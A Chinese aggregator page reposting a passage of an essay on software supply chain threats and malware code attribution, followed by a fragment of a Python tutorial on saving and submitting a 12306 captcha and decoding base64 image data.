·软件拥有者对配置条目缺少必要明确说明文档。就JIRA的例子而言,将NASA工程师归为上一条错误有些冤枉,而将JIRA归为这条更加合适。在边角但重要问题上的说明通过社区而非官方文档形式发布是一种不负责任的做法,但未引发安全事件的情况下还有多少这样的问题被默默隐藏呢?我们没办法要求在使用软件之前所有用户将软件相关所有文档、社区问答实现全部覆盖。这个问题范围内一个代表性例子是对配置项的默认值以及对应效果的说明缺失。 ·配置文件版本兼容性带来的误配置和安全问题。实际上,上面的SunOS Sendmail案例足以点出这个问题的存在性,但是在真实场景下,很可能不会以这么戏剧性形式出现。在企业的系统运维中,系统的版本迭代常见,但为软件行为一致性,配置的跨版本迁移是不可避免的操作;而且软件的更新迭代也不只会由系统更新推动,还有大量出于业务性能要求而主动进行的定制化升级,对于中小企业基础设施建设似乎是一个没怎么被提及过的问题。 ·配置项组合冲突问题。尽管对于单个配置项可能明确行为与影响,但是特定的配置项搭配可能造成不可预知的效果。这完全有可能是由于开发者与用户在信息不对等的情况下产生:开发者认为用户应该具有必需的背景知识,做了用户应当具备规避配置冲突能力的假设。一个例子是,对称密码算法在使用ECB、CBC分组工作模式时,从密码算法上要求输入数据长度必须是分组大小的整倍数,但如果用户搭配配置了秘钥对数据不做补齐(nopadding),则引入了非确定性行为:如果密码算法库对这种组合配置按某种默认补齐方式操作数据则会引起歧义,但如果在算法库代码层面对这种组合抛出错误则直接影响业务。 ·程序对配置项处理过程的潜在暗箱操作。这区别于简单的未文档化配置项行为,仅特指可能存在的蓄意、恶意行为。从某种意义上,上述“All users”也可以认为是这样的一种陷阱,通过浅层次暗示,引导用户做出错误且可能引起问题的配置。另一种情况是特定配置组合情况下触发恶意代码的行为,这种触发条件将使恶意代码具有规避检测的能力,且在用户基数上具有一定概率的用户命中率。当然这种情况由官方开发者直接引入的可能性很低,但是在众包开发的情况下如果存在,那么扫描方案是很难检测的。 Ⅵ. 从逆流到暗流:恶意代码溯源后的挑战 如果说前面所说的种种威胁都是面向关键目标和核心系统应该思考的问题,那么最后要抛出一个会把所有人拉进赛场的理由。除了前面所有那些在软件供应链下游被动污染受害的情况,还有一种情形:你有迹可循的代码,也许在不经意间会“反哺”到黑色产业链甚至特殊武器中;而现在研究用于对程序进行分析和溯源的技术,则会让你陷入百口莫辩的境地。 案例:黑产代码模块溯源疑云 1月29日,猎豹安全团队发布技术分析通报文章《电信、百度客户端源码疑遭泄漏,驱魔家族窃取隐私再起波澜》,矛头直指黑产上游的恶意信息窃取代码模块,认定其代码与两方产品存在微妙的关联:中国电信旗下“桌面3D动态天气”等多款软件,以及百度旗下“百度杀毒”等软件(已不可访问)。 文章中举证有三个关键点。 首先最直观的,是三者使用了相同的特征字符串、私有文件路径、自定义内部数据字段格式; 其次,在关键代码位置,三者在二进制程序汇编代码层面具有高度相似性; 最终,在一定范围的非通用程序逻辑上,三者在经过反汇编后的代码语义上显示出明显的雷同,并提供了如下两图佐证(图片来源): 文章指出的涉事相关软件已经下线,对于上述样本文件的相似度试验暂不做复现,且无法求证存在相似、疑似同源的代码在三者中占比数据。对于上述指出的代码雷同现象,猎豹安全团队认为: 我们怀疑该病毒模块的作者通过某种渠道(比如“曾经就职”),掌握有中国电信旗下部分客户端/服务端源码,并加以改造用于制作窃取用户隐私的病毒,另外在该病毒模块的代码中,我们还发现“百度”旗下部分客户端的基础调试日志函数库代码痕迹,整个“驱魔”病毒家族疑点重重,其制作传播背景愈发扑朔迷离。 这样的推断,固然有过于直接的依据(例如三款代码中均使用含有“baidu”字样的特征注册表项);但更进一步地,需要注意到,三个样本在所指出的代码位置,具有直观可见的二进制汇编代码结构的相同,考虑到如果仅仅是恶意代码开发者先逆向另外两份代码后借鉴了代码逻辑,那么在面临反编译、代码上下文适配重构、跨编译器和选项的编译结果差异等诸多不确定环节,仍能保持二进制代码的雷同,似乎确实是只有从根本上的源代码泄漏(抄袭)且保持相同的开发编译环境才能成立。 但是我们却又无法做出更明确的推断。这一方面当然是出于严谨避免过度解读;而从另一方面考虑,黑产代码的一个关键出发点就是“隐藏自己”,而这里居然如此堂而皇之地照搬了代码,不但没有进行任何代码混淆、变形,甚至没有抹除疑似来源的关键字符串,如果将黑产视为智商在线的对手,那这里背后是否有其它考量,就值得琢磨了。 代码的比对、分析、溯源技术水准 上文中的安全团队基于大量样本和粗粒度比对方法,给出了一个初步的判断和疑点。那么是否有可能获得更确凿的分析结果,来证实或证伪同源猜想呢? 无论是源代码还是二进制,代码比对技术作为一种基础手段,在软件供应链安全分析上都注定仍然有效。在我们的软件供应链安全大赛期间,针对PE二进制程序类型的题目,参赛队伍就纷纷采用了相关技术手段用于目标分析,包括:同源性分析,用于判定与目标软件相似度最高的同软件官方版本;细粒度的差异分析,用于尝试在忽略编译差异和特意引入的混淆之外,定位特意引入的恶意代码位置。当然,作为比赛中针对性的应对方案,受目标和环境引导约束,这些方法证明了可行性,却难以保证集成有最新技术方案。那么做一下预言,在不计入情报辅助条件下,下一代的代码比对将能够到达什么水准? 这里结合近一年和今年内,已发表和未发表的学术领域顶级会议的相关文章来简单展望: ·针对海量甚至全量已知源码,将可以实现准确精细化的“作者归属”判定。在ACM CCS‘18会议上曾发表的一篇文章《Large-Scale and Language-Oblivious Code Authorship Identification》,描述了使用RNN进行大规模代码识别的方案,在圈定目标开发者,并预先提供每个开发者的5-7份已知的代码文件后,该技术方案可以很有效地识别大规模匿名代码仓库中隶属于每个开发者的代码:针对1600个Google Code Jam开发者8年间的所有代码可以实现96%的成功识别率,而针对745个C代码开发者于1987年之后在GitHub上面的全部公开代码仓库,识别率也高达94.38%。这样的结果在当下的场景中,已经足以实现对特定人的代码识别和跟踪(例如,考虑到特定开发人员可能由于编码习惯和规范意识,在时间和项目跨度上犯同样的错误);可以预见,在该技术方向上,完全可以期望摆脱特定已知目标人的现有数据集学习的过程,并实现更细粒度的归属分析,例如代码段、代码行、提交历史。 ·针对二进制代码,更准确、更大规模、更快速的代码主程序分析和同源性匹配。近年来作为一项程序分析基础技术研究,二进制代码相似性分析又重新获得了学术界和工业界的关注。在2018年和2019(已录用)的安全领域四大顶级会议上,每次都会有该方向最新成果的展示,如S&P‘2019上录用的《Asm2Vec: Boosting Static Representation Robustness for Binary Clone Search against Code Obfuscation and Compiler Optimization》,实现无先验知识的条件下的最优汇编代码级别克隆检测,针对漏洞库的漏洞代码检测可实现0误报、100%召回。而2018年北京HITB会议上,Google Project Zero成员、二进制比对工具BinDiff原始作者Thomas Dullien,探讨了他借用改造Google自家SimHash算法思想,用于针对二进制代码控制流图做相似性检测的尝试和阶段结果;这种引入规模数据处理的思路,也可期望能够在目前其他技术方案大多精细化而低效的情况下,为高效、快速、大规模甚至全量代码克隆检测勾出未来方案。 ·代码比对方案对编辑、优化、变形、混淆的对抗。近年所有技术方案都以对代码“变种”的检测有效性作为关键衡量标准,并一定程度上予以保证。上文CCS‘18论文工作,针对典型源代码混淆(如Tigress)处理后的代码,大规模数据集上可有93.42%的准确识别率;S&P‘19论文针对跨编译器和编译选项、业界常用的OLLVM编译时混淆方案进行试验,在全部可用的混淆方案保护之下的代码仍然可以完成81%以上的克隆检测。值得注意的是以上方案都并非针对特定混淆方案单独优化的,方法具有通用价值;而除此以外还有很多针对性的的反混淆研究成果可用;因此,可以认为在采用常规商用代码混淆方案下,即便存在隐藏内部业务逻辑不被逆向的能力,但仍然可以被有效定位代码复用和开发者自然人。 代码溯源技术面前的“挑战” 作为软件供应链安全的独立分析方,健壮的代码比对技术是决定性的基石;而当脑洞大开,考虑到行业的发展,也许以下两种假设的情景,将把每一个“正当”的产品、开发者置于尴尬的境地。 代码仿制 在本章节引述的“驱魔家族”代码疑云案例中,黑产方面通过某种方式获得了正常代码中,功能逻辑可以被自身复用的片段,并以某种方法将其在保持原样的情况下拼接形成了恶意程序。即便在此例中并非如此,但这却暴露了隐忧:将来是不是有这种可能,我的正常代码被泄漏或逆向后出现在恶意软件中,被溯源后扣上黑锅? 这种担忧可能以多种渠道和形式成为现实。 从上游看,内部源码被人为泄漏是最简单的形式(实际上,考虑到代码的完整生命周期似乎并没有作为企业核心数据资产得到保护,目前实质上有没有这样的代码在野泄漏还是个未知数),而通过程序逆向还原代码逻辑也在一定程度上可获取原始代码关键特征。 从下游看,则可能有多种方式将恶意代码伪造得像正常代码并实现“碰瓷”。最简单地,可以大量复用关键代码特征(如字符串,自定义数据结构,关键分支条件,数据记录和交换私有格式等)。考虑到在进行溯源时,分析者实际上不需要100%的匹配度才会怀疑,因此仅仅是仿造原始程序对于第三方公开库代码的特殊定制改动,也足以将公众的疑点转移。而近年来类似自动补丁代码搜索生成的方案也可能被用来在一份最终代码中包含有二方甚至多方原始代码的特征和片段。 基于开发者溯源的定点渗透 既然在未来可能存在准确将代码与自然人对应的技术,那么这种技术也完全可能被黑色产业利用。可能的忧患包括强针对性的社会工程,结合特定开发者历史代码缺陷的漏洞挖掘利用,联动第三方泄漏人员信息的深层渗透,等等。这方面暂不做联想展开。 〇. 没有总结 作为一场旨在定义“软件供应链安全”威胁的宣言,阿里安全“功守道”大赛将在后续给出详细的分解和总结,其意义价值也许会在一段时间之后才能被挖掘。 但是威胁的现状不容乐观,威胁的发展不会静待;这一篇随笔仅仅挑选六个侧面做摘录分析,可即将到来的趋势一定只会进入更加发散的境地,因此这里,没有总结。 本篇文章为转载内容。原文链接:https://blog.csdn.net/systemino/article/details/90114743。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-05 13:33:43
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open('code2.png','wb')fn.write(codeImage)fn.close() 从验证码图片的左上角 (0,0)codeStr = input('请输入验证码坐标:')headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36'}data = {'answer': codeStr,'rand': 'sjrand','login_site': 'E'}response = req.post('https://kyfw.12306.cn/passport/captcha/captcha-check',data=data,headers=headers)print(response.text)login() base64伪加密 根本不算是一种加密算法 只不过它的数据看上去更像密文而已 64个字符来表示任意的二进制数据的方法 使用 A-Z A-Z 0 - 9 + / 这64个字符进行加密 import base64url = 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= base64.b64decode(url) 返回的是二进制数据print(type(img_data))fn = open('code.png','wb')fn.write(img_data)fn.close()'''我们打开了一个有base64加密的图片数据''' 本篇文章为转载内容。原文链接:https://blog.csdn.net/httpsssss/article/details/116136614。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
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